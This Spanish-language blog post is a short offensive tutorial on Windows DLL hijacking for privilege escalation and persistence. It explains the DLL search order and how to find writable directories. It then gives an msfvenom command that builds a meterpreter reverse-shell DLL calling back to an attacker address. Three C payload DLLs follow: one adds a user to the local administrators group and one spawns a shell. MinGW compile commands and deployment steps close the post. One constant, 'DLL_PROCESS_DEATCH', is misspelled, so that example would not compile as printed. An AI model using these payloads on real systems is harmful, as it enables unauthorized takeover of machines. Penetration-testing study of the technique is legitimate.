Una (u otra) breve introducción al DLL hijacking

Una técnica muy común durante la post-explotación, tanto como para escalado de privilegios como para persistencia, es el DLL hijacking, que no es más que "dar el cambiazo" de una DLL que una aplicación o servicio del sistema intenta cargar en un directorio en el que tenemos permisos de escritura. De esta manera pondremos nuestra DLL maliciosa para que, en el momento que intente cargarse, ejecute nuestro payload con los permisos correspondientes al servicio o aplicación.

Recordemos que la forma en que Windows carga las DLL es buscar en los siguientes directorios en este orden:

- El directorio desde el cual se cargó la aplicación
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- El directorio de trabajo actual
- Directorios en la variable de entorno PATH del sistema
- Directorios en la variable de entorno PATH del usuario

Como podéis imaginar, si en algún momento un programa llama a una DLL que ya no existe en el primer directorio intentará buscar en el siguiente y así sucesivamente en ese orden: de esa manera podremos secuestrar la carga plantando una DLL en alguno de esos directorios para que pueda encontrarla.

Podremos identificar programas potencialmente vulnerables a DLL hijacking con Autoruns y ProcMon de Sysinternals, básicamente con este último buscando cualquier operación QueryOpen que resulte en NAME_NOT_FOUND:

También os recomiendo echar un vistazo a la herramienta Robber que hace un tiempo ya vimos en el blog.
Luego, simplemente tenemos que buscar si tenemos permisos en el directorio de la aplicación correspondiente:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

o en alguno del PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Ahora el siguiente paso será crear una DLL que se encarge de impartir nuestro mal.

Con msfvenom (así lo detectactarán muchos endpoints):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

O compilando nuestra propia DLL maliciosa:

Ejemplo1:

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            system("whoami > C:\\users\\username\\whoami.txt");
            WinExec("calc.exe", 0); //This doesn't accept redirections like system
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

Ejemplo2:

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}

Ejemplo3:

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
    system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DEATCH:
            break;
    }
    return TRUE;
}

Si queremos compilarlas desde nuestro linux, usaremos MinGW, nuestro cross compiler favorito: en x64: x86_64-w64-mingw32-gcc/g++ o en x86: i686-w64-mingw32-gcc/g++.

Por ejemplo:

x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

Finalmente, pondremos la DLL en el path correspondiente y reiniciaremos el servicio o la maquina y... a esperar la magia ;)

Fuentes:

- https://www.hackplayers.com/2010/08/dll-hijacking.html
- https://www.gracefulsecurity.com/privesc-dll-hijacking/
- https://book.hacktricks.xyz/windows/windows-local-privilege-escalation